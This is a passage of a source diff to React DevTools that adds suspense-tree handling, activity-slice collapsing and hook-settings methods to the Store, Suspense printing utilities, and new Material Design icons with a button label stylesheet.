+            name,
+            rects,
+            hasUniqueSuspenders: false,
+            isSuspended: isSuspended,
+            environments: [],
+            endTime: 0,
+          });
+
+          hasSuspenseTreeChanged = true;
+          break;
+        }
+        case SUSPENSE_TREE_OPERATION_REMOVE: {
+          const removeLength = operations[i + 1];
+          i += 2;
+
+          for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {
+            const id = operations[i];
+            const suspense = this._idToSuspense.get(id);
+
+            if (suspense === undefined) {
+              this._throwAndEmitError(
+                Error(
+                  `Cannot remove suspense node "${id}" because no matching node was found in the Store.`,
+                ),
+              );
+
+              break;
+            }
+
+            i += 1;
+
+            const {children, parentID, rects} = suspense;
+            if (children.length > 0) {
+              this._throwAndEmitError(
+                Error(`Suspense node "${id}" was removed before its children.`),
+              );
+            }
+
+            if (rects !== null && parentID !== 0) {
+              // Delete all the existing rects from the R-tree
+              for (let j = 0; j < rects.length; j++) {
+                this._rtree.remove(rects[j]);
+              }
+            }
+
+            this._idToSuspense.delete(id);
+            removedSuspenseIDs.set(id, parentID);
+
+            let parentSuspense: ?SuspenseNode = null;
+            if (parentID === 0) {
+              if (__DEBUG__) {
+                debug('Suspense remove', `node ${id} root`);
+              }
+            } else {
+              if (__DEBUG__) {
+                debug('Suspense Remove', `node ${id} from parent ${parentID}`);
+              }
+
+              parentSuspense = this._idToSuspense.get(parentID);
+              if (parentSuspense === undefined) {
+                this._throwAndEmitError(
+                  Error(
+                    `Cannot remove suspense node "${id}" from parent "${parentID}" because no matching node was found in the Store.`,
+                  ),
+                );
+
+                break;
+              }
+
+              const index = parentSuspense.children.indexOf(id);
+              if (index === -1) {
+                this._throwAndEmitError(
+                  Error(
+                    `Cannot remove suspense node "${id}" from parent "${parentID}" because it is not a child of the parent.`,
+                  ),
+                );
+              }
+              parentSuspense.children.splice(index, 1);
+            }
+          }
+
+          hasSuspenseTreeChanged = true;
+          break;
+        }
+        case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {
+          const id = operations[i + 1];
+          const numChildren = operations[i + 2];
+          i += 3;
+
+          const suspense = this._idToSuspense.get(id);
+          if (suspense === undefined) {
+            this._throwAndEmitError(
+              Error(
+                `Cannot reorder children for suspense node "${id}" because no matching node was found in the Store.`,
+              ),
+            );
+
+            break;
+          }
+
+          const children = suspense.children;
+          if (children.length !== numChildren) {
+            this._throwAndEmitError(
+              Error(
+                `Suspense children cannot be added or removed during a reorder operation.`,
+              ),
+            );
+          }
+
+          for (let j = 0; j < numChildren; j++) {
+            const childID = operations[i + j];
+            children[j] = childID;
+            if (__DEV__) {
+              // This check is more expensive so it's gated by __DEV__.
+              const childSuspense = this._idToSuspense.get(childID);
+              if (childSuspense == null || childSuspense.parentID !== id) {
+                console.error(
+                  `Suspense children cannot be added or removed during a reorder operation.`,
+                );
+              }
+            }
+          }
+          i += numChildren;
+
+          if (__DEBUG__) {
+            debug(
+              'Re-order',
+              `Suspense node ${id} children ${children.join(',')}`,
+            );
+          }
+
+          hasSuspenseTreeChanged = true;
+          break;
+        }
+        case SUSPENSE_TREE_OPERATION_RESIZE: {
+          const id = ((operations[i + 1]: any): number);
+          const numRects = ((operations[i + 2]: any): number);
+          i += 3;
+
+          const suspense = this._idToSuspense.get(id);
+          if (suspense === undefined) {
+            this._throwAndEmitError(
+              Error(
+                `Cannot set rects for suspense node "${id}" because no matching node was found in the Store.`,
+              ),
+            );
+
+            break;
+          }
+
+          const prevRects = suspense.rects;
+          if (prevRects !== null && suspense.parentID !== 0) {
+            // Delete all the existing rects from the R-tree
+            for (let j = 0; j < prevRects.length; j++) {
+              this._rtree.remove(prevRects[j]);
+            }
+          }
+
+          let nextRects: SuspenseNode['rects'];
+          if (numRects === -1) {
+            nextRects = null;
+          } else {
+            nextRects = [];
+            for (let rectIndex = 0; rectIndex < numRects; rectIndex++) {
+              const x = operations[i + 0] / 1000;
+              const y = operations[i + 1] / 1000;
+              const width = operations[i + 2] / 1000;
+              const height = operations[i + 3] / 1000;
+
+              const rect = {x, y, width, height};
+              if (suspense.parentID !== 0) {
+                // Track all rects except the root.
+                this._rtree.insert(rect);
+              }
+              nextRects.push(rect);
+
+              i += 4;
+            }
+          }
+
+          suspense.rects = nextRects;
+
+          if (__DEBUG__) {
+            debug(
+              'Resize',
+              `Suspense node ${id} resize to ${
+                nextRects === null
+                  ? 'null'
+                  : nextRects
+                      .map(
+                        rect =>
+                          `(${rect.x},${rect.y},${rect.width},${rect.height})`,
+                      )
+                      .join(',')
+              }`,
+            );
+          }
+
+          hasSuspenseTreeChanged = true;
+
+          break;
+        }
+        case SUSPENSE_TREE_OPERATION_SUSPENDERS: {
+          i++;
+          const changeLength = operations[i++];
+
+          for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {
+            const id = operations[i++];
+            const hasUniqueSuspenders = operations[i++] === 1;
+            const endTime = operations[i++] / 1000;
+            const isSuspended = operations[i++] === 1;
+            const environmentNamesLength = operations[i++];
+            const environmentNames = [];
+            for (
+              let envIndex = 0;
+              envIndex < environmentNamesLength;
+              envIndex++
+            ) {
+              const environmentNameStringID = operations[i++];
+              const environmentName = stringTable[environmentNameStringID];
+              if (environmentName != null) {
+                environmentNames.push(environmentName);
+              }
+            }
+            const suspense = this._idToSuspense.get(id);
+
+            if (suspense === undefined) {
+              this._throwAndEmitError(
+                Error(
+                  `Cannot update suspenders of suspense node "${id}" because no matching node was found in the Store.`,
+                ),
+              );
+
+              break;
+            }
+
+            if (__DEBUG__) {
+              const previousHasUniqueSuspenders = suspense.hasUniqueSuspenders;
+              debug(
+                'Suspender changes',
+                `Suspense node ${id} unique suspenders set to ${String(
+                  hasUniqueSuspenders,
+                )} (was ${String(previousHasUniqueSuspenders)})`,
+              );
+            }
+
+            suspense.hasUniqueSuspenders = hasUniqueSuspenders;
+            suspense.endTime = endTime;
+            suspense.isSuspended = isSuspended;
+            suspense.environments = environmentNames;
+          }
+
+          hasSuspenseTreeChanged = true;
+
+          break;
+        }
+        case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {
+          i++;
+          nextActivitySliceID = operations[i++];
+          break;
+        }
         default:
           this._throwAndEmitError(
             new UnsupportedBridgeOperationError(
@@ -1324,42 +2152,62 @@ export default class Store extends EventEmitter<{
     }
 
     this._revision++;
+    if (hasSuspenseTreeChanged) {
+      this._revisionSuspense++;
+    }
 
     // Any time the tree changes (e.g. elements added, removed, or reordered) cached indices may be invalid.
     this._cachedErrorAndWarningTuples = null;
 
     if (haveErrorsOrWarningsChanged) {
-      let errorCount = 0;
-      let warningCount = 0;
+      let componentWithErrorCount = 0;
+      let componentWithWarningCount = 0;
 
       this._errorsAndWarnings.forEach(entry => {
-        errorCount += entry.errorCount;
-        warningCount += entry.warningCount;
+        if (entry.errorCount > 0) {
+          componentWithErrorCount++;
+        }
+
+        if (entry.warningCount > 0) {
+          componentWithWarningCount++;
+        }
       });
 
-      this._cachedErrorCount = errorCount;
-      this._cachedWarningCount = warningCount;
+      this._cachedComponentWithErrorCount = componentWithErrorCount;
+      this._cachedComponentWithWarningCount = componentWithWarningCount;
     }
 
     if (haveRootsChanged) {
       const prevRootSupportsProfiling = this._rootSupportsBasicProfiling;
       const prevRootSupportsTimelineProfiling =
         this._rootSupportsTimelineProfiling;
+      const prevRootSupportsPerformanceTracks =
+        this._rootSupportsPerformanceTracks;
 
       this._hasOwnerMetadata = false;
       this._rootSupportsBasicProfiling = false;
       this._rootSupportsTimelineProfiling = false;
+      this._rootSupportsPerformanceTracks = false;
       this._rootIDToCapabilities.forEach(
-        ({supportsBasicProfiling, hasOwnerMetadata, supportsTimeline}) => {
+        ({
+          supportsBasicProfiling,
+          hasOwnerMetadata,
+          supportsAdvancedProfiling,
+        }) => {
           if (supportsBasicProfiling) {
             this._rootSupportsBasicProfiling = true;
           }
           if (hasOwnerMetadata) {
             this._hasOwnerMetadata = true;
           }
-          if (supportsTimeline) {
+          if (supportsAdvancedProfiling === ADVANCED_PROFILING_TIMELINE) {
             this._rootSupportsTimelineProfiling = true;
           }
+          if (
+            supportsAdvancedProfiling === ADVANCED_PROFILING_PERFORMANCE_TRACKS
+          ) {
+            this._rootSupportsPerformanceTracks = true;
+          }
         },
       );
 
@@ -1375,6 +2223,16 @@ export default class Store extends EventEmitter<{
       ) {
         this.emit('rootSupportsTimelineProfiling');
       }
+      if (
+        this._rootSupportsPerformanceTracks !==
+        prevRootSupportsPerformanceTracks
+      ) {
+        this.emit('rootSupportsPerformanceTracks');
+      }
+    }
+
+    if (hasSuspenseTreeChanged) {
+      this.emit('suspenseTreeMutated', [removedSuspenseIDs]);
     }
 
     if (__DEBUG__) {
@@ -1382,22 +2240,84 @@ export default class Store extends EventEmitter<{
       console.groupEnd();
     }
 
-    this.emit('mutated', [addedElementIDs, removedElementIDs]);
-  };
+    if (nextActivitySliceID !== null && nextActivitySliceID !== 0) {
+      let didCollapse = false;
+      // The backend filtered everything above the Activity slice.
+      // We need to hide everything below the Activity slice by collapsing
+      // the Activities that are descendants of the next Activity slice.
+      const nextActivitySlice = this._idToElement.get(nextActivitySliceID);
+      if (nextActivitySlice === undefined) {
+        throw new Error('Next Activity slice not found in Store.');
+      }
+
+      for (let j = 0; j < nextActivitySlice.children.length; j++) {
+        didCollapse ||= this._collapseActivitiesRecursively(
+          nextActivitySlice.children[j],
+        );
+      }
+
+      if (didCollapse) {
+        let weightAcrossRoots = 0;
+        this._roots.forEach(rootID => {
+          const {weight} = ((this.getElementByID(rootID): any): Element);
+          weightAcrossRoots += weight;
+        });
+        this._weightAcrossRoots = weightAcrossRoots;
+      }
+    }
+
+    for (let j = 0; j < this._componentFilters.length; j++) {
+      const filter = this._componentFilters[j];
+      // If we're focusing an Activity, IDs may have changed.
+      if (filter.type === ComponentFilterActivitySlice) {
+        if (nextActivitySliceID === null || nextActivitySliceID === 0) {
+          filter.isValid = false;
+        } else {
+          filter.activityID = nextActivitySliceID;
+        }
+      }
+    }
+
+    if (nextActivitySliceID !== null) {
+      this._focusedTransition = nextActivitySliceID;
+    }
 
-  // Certain backends save filters on a per-domain basis.
-  // In order to prevent filter preferences and applied filters from being out of sync,
-  // this message enables the backend to override the frontend's current ("saved") filters.
-  // This action should also override the saved filters too,
-  // else reloading the frontend without reloading the backend would leave things out of sync.
-  onBridgeOverrideComponentFilters: (
-    componentFilters: Array<ComponentFilter>,
-  ) => void = componentFilters => {
-    this._componentFilters = componentFilters;
-
-    setSavedComponentFilters(componentFilters);
+    this.emit('mutated', [
+      addedElementIDs,
+      removedElementIDs,
+      nextActivitySliceID,
+    ]);
   };
 
+  _collapseActivitiesRecursively(elementID: number): boolean {
+    let didMutate = false;
+    const element = this._idToElement.get(elementID);
+    if (element === undefined) {
+      throw new Error('Element not found in Store.');
+    }
+
+    if (element.type === ElementTypeActivity) {
+      if (!element.isCollapsed) {
+        element.isCollapsed = true;
+
+        const weightDelta = 1 - element.weight;
+
+        let parentElement = this._idToElement.get(element.parentID);
+        while (parentElement !== undefined) {
+          parentElement.weight += weightDelta;
+          parentElement = this._idToElement.get(parentElement.parentID);
+        }
+        return true;
+      }
+      return false;
+    }
+
+    for (let i = 0; i < element.children.length; i++) {
+      didMutate ||= this._collapseActivitiesRecursively(element.children[i]);
+    }
+    return didMutate;
+  }
+
   onBridgeShutdown: () => void = () => {
     if (__DEBUG__) {
       debug('onBridgeShutdown', 'unsubscribing from Bridge');
@@ -1405,23 +2325,15 @@ export default class Store extends EventEmitter<{
 
     const bridge = this._bridge;
     bridge.removeListener('operations', this.onBridgeOperations);
-    bridge.removeListener(
-      'overrideComponentFilters',
-      this.onBridgeOverrideComponentFilters,
-    );
     bridge.removeListener('shutdown', this.onBridgeShutdown);
     bridge.removeListener(
-      'isBackendStorageAPISupported',
-      this.onBackendStorageAPISupported,
+      'isReloadAndProfileSupportedByBackend',
+      this.onBackendReloadAndProfileSupported,
     );
     bridge.removeListener(
       'isNativeStyleEditorSupported',
       this.onBridgeNativeStyleEditorSupported,
     );
-    bridge.removeListener(
-      'isSynchronousXHRSupported',
-      this.onBridgeSynchronousXHRSupported,
-    );
     bridge.removeListener(
       'unsupportedRendererVersion',
       this.onBridgeUnsupportedRendererVersion,
@@ -1429,6 +2341,7 @@ export default class Store extends EventEmitter<{
     bridge.removeListener('backendVersion', this.onBridgeBackendVersion);
     bridge.removeListener('bridgeProtocol', this.onBridgeProtocol);
     bridge.removeListener('saveToClipboard', this.onSaveToClipboard);
+    bridge.removeListener('selectElement', this.onHostInstanceSelected);
 
     if (this._onBridgeProtocolTimeoutID !== null) {
       clearTimeout(this._onBridgeProtocolTimeoutID);
@@ -1436,18 +2349,10 @@ export default class Store extends EventEmitter<{
     }
   };
 
-  onBackendStorageAPISupported: (
-    isBackendStorageAPISupported: boolean,
-  ) => void = isBackendStorageAPISupported => {
-    this._isBackendStorageAPISupported = isBackendStorageAPISupported;
-
-    this.emit('supportsReloadAndProfile');
-  };
-
-  onBridgeSynchronousXHRSupported: (
-    isSynchronousXHRSupported: boolean,
-  ) => void = isSynchronousXHRSupported => {
-    this._isSynchronousXHRSupported = isSynchronousXHRSupported;
+  onBackendReloadAndProfileSupported: (
+    isReloadAndProfileSupported: boolean,
+  ) => void = isReloadAndProfileSupported => {
+    this._isReloadAndProfileBackendSupported = isReloadAndProfileSupported;
 
     this.emit('supportsReloadAndProfile');
   };
@@ -1490,9 +2395,88 @@ export default class Store extends EventEmitter<{
   };
 
   onSaveToClipboard: (text: string) => void = text => {
-    copy(text);
+    withPermissionsCheck({permissions: ['clipboardWrite']}, () => copy(text))();
   };
 
+  onBackendInitialized: () => void = () => {
+    // Verify that the frontend version is compatible with the connected backend.
+    // See github.com/facebook/react/issues/21326
+    if (this._shouldCheckBridgeProtocolCompatibility) {
+      // Older backends don't support an explicit bridge protocol,
+      // so we should timeout eventually and show a downgrade message.
+      this._onBridgeProtocolTimeoutID = setTimeout(
+        this.onBridgeProtocolTimeout,
+        10000,
+      );
+
+      this._bridge.addListener('bridgeProtocol', this.onBridgeProtocol);
+      this._bridge.send('getBridgeProtocol');
+    }
+
+    this._bridge.send('getBackendVersion');
+    this._bridge.send('getIfHasUnsupportedRendererVersion');
+    this._bridge.send('getHookSettings'); // Warm up cached hook settings
+  };
+
+  onHostInstanceSelected: (elementId: number | null) => void = elementId => {
+    if (
+      this._lastSelectedHostInstanceElementId === elementId &&
+      // Force clear selection e.g. when we inspect an element in the Components panel
+      // and then switch to the browser's Elements panel.
+      // We wouldn't want to stay on the inspected element if we're inspecting
+      // an element not owned by React when switching to the browser's Elements panel.
+      elementId !== null
+    ) {
+      return;
+    }
+
+    this._lastSelectedHostInstanceElementId = elementId;
+    // By the time we emit this, there is no guarantee that TreeContext is rendered.
+    this.emit('hostInstanceSelected', elementId);
+  };
+
+  getHookSettings: () => void = () => {
+    if (this._hookSettings != null) {
+      this.emit('hookSettings', this._hookSettings);
+    } else {
+      this._bridge.send('getHookSettings');
+    }
+  };
+
+  /**
+   * Maximum recorded node depth during the lifetime of this Store.
+   * Can only increase: not guaranteed to return maximal value for currently recorded elements.
+   */
+  getMaximumRecordedDepth(): number {
+    return this._maximumRecordedDepth;
+  }
+
+  updateHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =
+    settings => {
+      this._hookSettings = settings;
+
+      this._bridge.send('updateHookSettings', settings);
+      this.emit('settingsUpdated', settings, this._componentFilters);
+    };
+
+  onHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =
+    settings => {
+      this._hookSettings = settings;
+
+      this.setShouldShowWarningsAndErrors(settings.showInlineWarningsAndErrors);
+      this.emit('hookSettings', settings);
+    };
+
+  setShouldShowWarningsAndErrors(status: boolean): void {
+    const previousStatus = this._shouldShowWarningsAndErrors;
+    this._shouldShowWarningsAndErrors = status;
+
+    if (previousStatus !== status) {
+      // Propagate to subscribers, although tree state has not changed
+      this.emit('mutated', [[], new Map(), null]);
+    }
+  }
+
   // The Store should never throw an Error without also emitting an event.
   // Otherwise Store errors will be invisible to users,
   // but the downstream errors they cause will be reported as bugs.
@@ -1505,4 +2489,13 @@ export default class Store extends EventEmitter<{
     // and for unit testing the Store itself.
     throw error;
   }
+
+  _guessSuspenseName(element: Element): string | null {
+    const owner = this._idToElement.get(element.ownerID);
+    if (owner !== undefined && owner.displayName !== null) {
+      return owner.displayName;
+    }
+
+    return null;
+  }
 }
diff --git a/packages/react-devtools-shared/src/devtools/utils.js b/packages/react-devtools-shared/src/devtools/utils.js
index 7de23d50c9e0..876e01345b45 100644
--- a/packages/react-devtools-shared/src/devtools/utils.js
+++ b/packages/react-devtools-shared/src/devtools/utils.js
@@ -9,7 +9,12 @@
 
 import JSON5 from 'json5';
 
-import type {Element} from 'react-devtools-shared/src/frontend/types';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
+import {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';
+import type {
+  Element,
+  SuspenseNode,
+} from 'react-devtools-shared/src/frontend/types';
 import type {StateContext} from './views/Components/TreeContext';
 import type Store from './store';
 
@@ -27,6 +32,11 @@ export function printElement(
     key = ` key="${element.key}"`;
   }
 
+  let name = '';
+  if (element.nameProp !== null) {
+    name = ` name="${element.nameProp}"`;
+  }
+
   let hocDisplayNames = null;
   if (element.hocDisplayNames !== null) {
     hocDisplayNames = [...element.hocDisplayNames];
@@ -35,6 +45,11 @@ export function printElement(
   const hocs =
     hocDisplayNames === null ? '' : ` [${hocDisplayNames.join('][')}]`;
 
+  let mode = '';
+  if (element.type === ElementTypeActivity) {
+    mode = ` mode="${element.isActivityHidden ? 'hidden' : 'visible'}"`;
+  }
+
   let suffix = '';
   if (includeWeight) {
     suffix = ` (${element.isCollapsed ? 1 : element.weight})`;
@@ -42,7 +57,41 @@ export function printElement(
 
   return `${'  '.repeat(element.depth + 1)}${prefix} <${
     element.displayName || 'null'
-  }${key}>${hocs}${suffix}`;
+  }${key}${name}${mode}>${hocs}${suffix}`;
+}
+
+function printRects(rects: SuspenseNode['rects']): string {
+  if (rects === null) {
+    return ' rects={null}';
+  } else {
+    return ` rects={[${rects.map(rect => `{x:${rect.x},y:${rect.y},width:${rect.width},height:${rect.height}}`).join(', ')}]}`;
+  }
+}
+
+function printSuspense(suspense: SuspenseNode): string {
+  const name = ` name="${suspense.name || 'Unknown'}"`;
+  const hasUniqueSuspenders = ` uniqueSuspenders={${suspense.hasUniqueSuspenders ? 'true' : 'false'}}`;
+  const printedRects = printRects(suspense.rects);
+
+  return `<Suspense${name}${hasUniqueSuspenders}${printedRects}>`;
+}
+
+function printSuspenseWithChildren(
+  store: Store,
+  suspense: SuspenseNode,
+  depth: number,
+): Array<string> {
+  const lines = ['  '.repeat(depth) + printSuspense(suspense)];
+  for (let i = 0; i < suspense.children.length; i++) {
+    const childID = suspense.children[i];
+    const child = store.getSuspenseByID(childID);
+    if (child === null) {
+      throw new Error(`Could not find Suspense node with ID "${childID}".`);
+    }
+    lines.push(...printSuspenseWithChildren(store, child, depth + 1));
+  }
+
+  return lines;
 }
 
 export function printOwnersList(
@@ -58,6 +107,7 @@ export function printStore(
   store: Store,
   includeWeight: boolean = false,
   state: StateContext | null = null,
+  includeSuspense: boolean = true,
 ): string {
   const snapshotLines = [];
 
@@ -67,7 +117,7 @@ export function printStore(
     if (state === null) {
       return '';
     }
-    return state.selectedElementIndex === index ? `→` : ' ';
+    return state.inspectedElementIndex === index ? `→` : ' ';
   }
 
   function printErrorsAndWarnings(element: Element): string {
@@ -128,6 +178,26 @@ export function printStore(
       }
 
       rootWeight += weight;
+
+      if (includeSuspense) {
+        const root = store.getSuspenseByID(rootID);
+        // Roots from legacy renderers don't have a separate Suspense tree
+        if (root !== null) {
+          if (root.children.length > 0) {
+            snapshotLines.push('[suspense-root] ' + printRects(root.rects));
+            for (let i = 0; i < root.children.length; i++) {
+              const childID = root.children[i];
+              const child = store.getSuspenseByID(childID);
+              if (child === null) {
+                throw new Error(
+                  `Could not find Suspense node with ID "${childID}".`,
+                );
+              }
+              snapshotLines.push(...printSuspenseWithChildren(store, child, 1));
+            }
+          }
+        }
+      }
     });
 
     // Make sure the pretty-printed test align with the Store's reported number of total rows.
@@ -188,16 +258,13 @@ export function smartStringify(value: any): string {
   return JSON.stringify(value);
 }
 
-// [url, row, column]
-export type Stack = [string, number, number];
-
 const STACK_DELIMETER = /\n\s+at /;
 const STACK_SOURCE_LOCATION = /([^\s]+) \((.+):(.+):(.+)\)/;
 
-export function stackToComponentSources(
+export function stackToComponentLocations(
   stack: string,
-): Array<[string, ?Stack]> {
-  const out: Array<[string, ?Stack]> = [];
+): Array<[string, ?ReactFunctionLocation]> {
+  const out: Array<[string, ?ReactFunctionLocation]> = [];
   stack
     .split(STACK_DELIMETER)
     .slice(1)
@@ -205,7 +272,10 @@ export function stackToComponentSources(
       const match = STACK_SOURCE_LOCATION.exec(entry);
       if (match) {
         const [, component, url, row, column] = match;
-        out.push([component, [url, parseInt(row, 10), parseInt(column, 10)]]);
+        out.push([
+          component,
+          [component, url, parseInt(row, 10), parseInt(column, 10)],
+        ]);
       } else {
         out.push([entry, null]);
       }
diff --git a/packages/react-devtools-shared/src/devtools/views/ButtonIcon.js b/packages/react-devtools-shared/src/devtools/views/ButtonIcon.js
index a91c7e04b554..a3f7b0701ef1 100644
--- a/packages/react-devtools-shared/src/devtools/views/ButtonIcon.js
+++ b/packages/react-devtools-shared/src/devtools/views/ButtonIcon.js
@@ -34,6 +34,18 @@ export type IconType =
   | 'save'
   | 'search'
   | 'settings'
+  | 'panel-left-close'
+  | 'panel-left-open'
+  | 'panel-right-close'
+  | 'panel-right-open'
+  | 'panel-bottom-open'
+  | 'panel-bottom-close'
+  | 'filter-on'
+  | 'filter-off'
+  | 'play'
+  | 'pause'
+  | 'skip-previous'
+  | 'skip-next'
   | 'error'
   | 'suspend'
   | 'undo'
@@ -46,8 +58,10 @@ type Props = {
   type: IconType,
 };
 
+const panelIcons = '96 -864 768 768';
 export default function ButtonIcon({className = '', type}: Props): React.Node {
   let pathData = null;
+  let viewBox = '0 0 24 24';
   switch (type) {
     case 'add':
       pathData = PATH_ADD;
@@ -121,6 +135,54 @@ export default function ButtonIcon({className = '', type}: Props): React.Node {
     case 'error':
       pathData = PATH_ERROR;
       break;
+    case 'panel-left-close':
+      pathData = PATH_MATERIAL_PANEL_LEFT_CLOSE;
+      viewBox = panelIcons;
+      break;
+    case 'panel-left-open':
+      pathData = PATH_MATERIAL_PANEL_LEFT_OPEN;
+      viewBox = panelIcons;
+      break;
+    case 'panel-right-close':
+      pathData = PATH_MATERIAL_PANEL_RIGHT_CLOSE;
+      viewBox = panelIcons;
+      break;
+    case 'panel-right-open':
+      pathData = PATH_MATERIAL_PANEL_RIGHT_OPEN;
+      viewBox = panelIcons;
+      break;
+    case 'panel-bottom-open':
+      pathData = PATH_MATERIAL_PANEL_BOTTOM_OPEN;
+      viewBox = panelIcons;
+      break;
+    case 'panel-bottom-close':
+      pathData = PATH_MATERIAL_PANEL_BOTTOM_CLOSE;
+      viewBox = panelIcons;
+      break;
+    case 'filter-on':
+      pathData = PATH_MATERIAL_FILTER_ALT;
+      viewBox = panelIcons;
+      break;
+    case 'filter-off':
+      pathData = PATH_MATERIAL_FILTER_ALT_OFF;
+      viewBox = panelIcons;
+      break;
+    case 'play':
+      pathData = PATH_MATERIAL_PLAY_ARROW;
+      viewBox = panelIcons;
+      break;
+    case 'pause':
+      pathData = PATH_MATERIAL_PAUSE;
+      viewBox = panelIcons;
+      break;
+    case 'skip-previous':
+      pathData = PATH_MATERIAL_SKIP_PREVIOUS_ARROW;
+      viewBox = panelIcons;
+      break;
+    case 'skip-next':
+      pathData = PATH_MATERIAL_SKIP_NEXT_ARROW;
+      viewBox = panelIcons;
+      break;
     case 'suspend':
       pathData = PATH_SUSPEND;
       break;
@@ -147,7 +209,7 @@ export default function ButtonIcon({className = '', type}: Props): React.Node {
       className={`${styles.ButtonIcon} ${className}`}
       width="24"
       height="24"
-      viewBox="0 0 24 24">
+      viewBox={viewBox}>
       <path d="M0 0h24v24H0z" fill="none" />
       {typeof pathData === 'string' ? (
         <path fill="currentColor" d={pathData} />
@@ -276,3 +338,63 @@ const PATH_VIEW_SOURCE = `
 const PATH_EDITOR = `
   M7 5h10v2h2V3c0-1.1-.9-1.99-2-1.99L7 1c-1.1 0-2 .9-2 2v4h2V5zm8.41 11.59L20 12l-4.59-4.59L14 8.83 17.17 12 14 15.17l1.41 1.42zM10 15.17L6.83 12 10 8.83 8.59 7.41 4 12l4.59 4.59L10 15.17zM17 19H7v-2H5v4c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2v-4h-2v2z
 `;
+
+// Source: Material Design Icons left_panel_close
+const PATH_MATERIAL_PANEL_LEFT_CLOSE = `
+  M648-324v-312L480-480l168 156ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm125-72v-528H216v528h120Zm72 0h336v-528H408v528Zm-72 0H216h120Z
+`;
+
+// Source: Material Design Icons left_panel_open
+const PATH_MATERIAL_PANEL_LEFT_OPEN = `
+  M504-595v230q0 12.25 10.5 16.62Q525-344 534-352l110-102q11-11.18 11-26.09T644-506L534-608q-8.82-8-19.41-3.5T504-595ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm125-72v-528H216v528h120Zm72 0h336v-528H408v528Zm-72 0H216h120Z
+`;
+
+// Source: Material Design Icons right_panel_close
+const PATH_MATERIAL_PANEL_RIGHT_CLOSE = `
+  M312-365q0 12.25 10.5 16.62Q333-344 342-352l110-102q11-11.18 11-26.09T452-506L342-608q-8.82-8-19.41-3.5T312-595v230ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm413-72h120v-528H624v528Zm-72 0v-528H216v528h336Zm72 0h120-120Z
+`;
+
+// Source: Material Design Icons right_panel_open
+const PATH_MATERIAL_PANEL_RIGHT_OPEN = `
+  M456-365v-230q0-12.25-10.5-16.63Q435-616 426-608L316-506q-11 11.18-11 26.09T316-454l110 102q8.82 8 19.41 3.5T456-365ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm413-72h120v-528H624v528Zm-72 0v-528H216v528h336Zm72 0h120-120Z
+`;
+
+// Source: Material Design Icons bottom_panel_open
+const PATH_MATERIAL_PANEL_BOTTOM_OPEN = `
+  M365-504h230q12.25 0 16.63-10.5Q616-525 608-534L506-644q-11.18-11-26.09-11T454-644L352-534q-8 8.82-3.5 19.41T365-504ZM211-144q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211Zm5-192v120h528v-120H216Zm0-72h528v-336H216v336Zm0 72v120-120Z
+`;
+
+// Source: Material Design Icons bottom_panel_close
+const PATH_MATERIAL_PANEL_BOTTOM_CLOSE = `
+  m506-508 102-110q8-8.82 3.5-19.41T595-648H365q-12.25 0-16.62 10.5Q344-627 352-618l102 110q11.18 11 26.09 11T506-508Zm243-308q27.64 0 47.32 19.68T816-749v538q0 27.64-19.68 47.32T749-144H211q-27.64 0-47.32-19.68T144-211v-538q0-27.64 19.68-47.32T211-816h538ZM216-336v120h528v-120H216Zm528-72v-336H216v336h528Zm-528 72v120-120Z
+`;
+
+// Source: Material Design Icons filter_alt
+const PATH_MATERIAL_FILTER_ALT = `
+  M440-160q-17 0-28.5-11.5T400-200v-240L168-736q-15-20-4.5-42t36.5-22h560q26 0 36.5 22t-4.5 42L560-440v240q0 17-11.5 28.5T520-160h-80Zm40-308 198-252H282l198 252Zm0 0Z
+`;
+
+// Source: Material Design Icons filter_alt_off
+const PATH_MATERIAL_FILTER_ALT_OFF = `
+  m592-481-57-57 143-182H353l-80-80h487q25 0 36 22t-4 42L592-481ZM791-56 560-287v87q0 17-11.5 28.5T520-160h-80q-17 0-28.5-11.5T400-200v-247L56-791l56-57 736 736-57 56ZM535-538Z
+`;
+
+// Source: Material Design Icons play_arrow
+const PATH_MATERIAL_PLAY_ARROW = `
+  M320-200v-560l440 280-440 280Zm80-280Zm0 134 210-134-210-134v268Z
+`;
+
+// Source: Material Design Icons pause
+const PATH_MATERIAL_PAUSE = `
+  M520-200v-560h240v560H520Zm-320 0v-560h240v560H200Zm400-80h80v-400h-80v400Zm-320 0h80v-400h-80v400Zm0-400v400-400Zm320 0v400-400Z
+`;
+
+// Source: Material Design Icons skip_previous
+const PATH_MATERIAL_SKIP_PREVIOUS_ARROW = `
+  M220-240v-480h80v480h-80Zm520 0L380-480l360-240v480Zm-80-240Zm0 90v-180l-136 90 136 90Z
+`;
+
+// Source: Material Design Icons skip_next
+const PATH_MATERIAL_SKIP_NEXT_ARROW = `
+  M660-240v-480h80v480h-80Zm-440 0v-480l360 240-360 240Zm80-240Zm0 90 136-90-136-90v180Z
+`;
diff --git a/packages/react-devtools-shared/src/devtools/views/ButtonLabel.css b/packages/react-devtools-shared/src/devtools/views/ButtonLabel.css
new file mode 100644
index 000000000000..5a0656794568
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/ButtonLabel.css
@@ -0,0 +1,7 @@
+.ButtonLabel {
+  padding-left: 1.5rem;
+  margin-left: -1rem;
+  user-select: none;
+  flex: 1 0 auto;
+  text-align: center;
+}
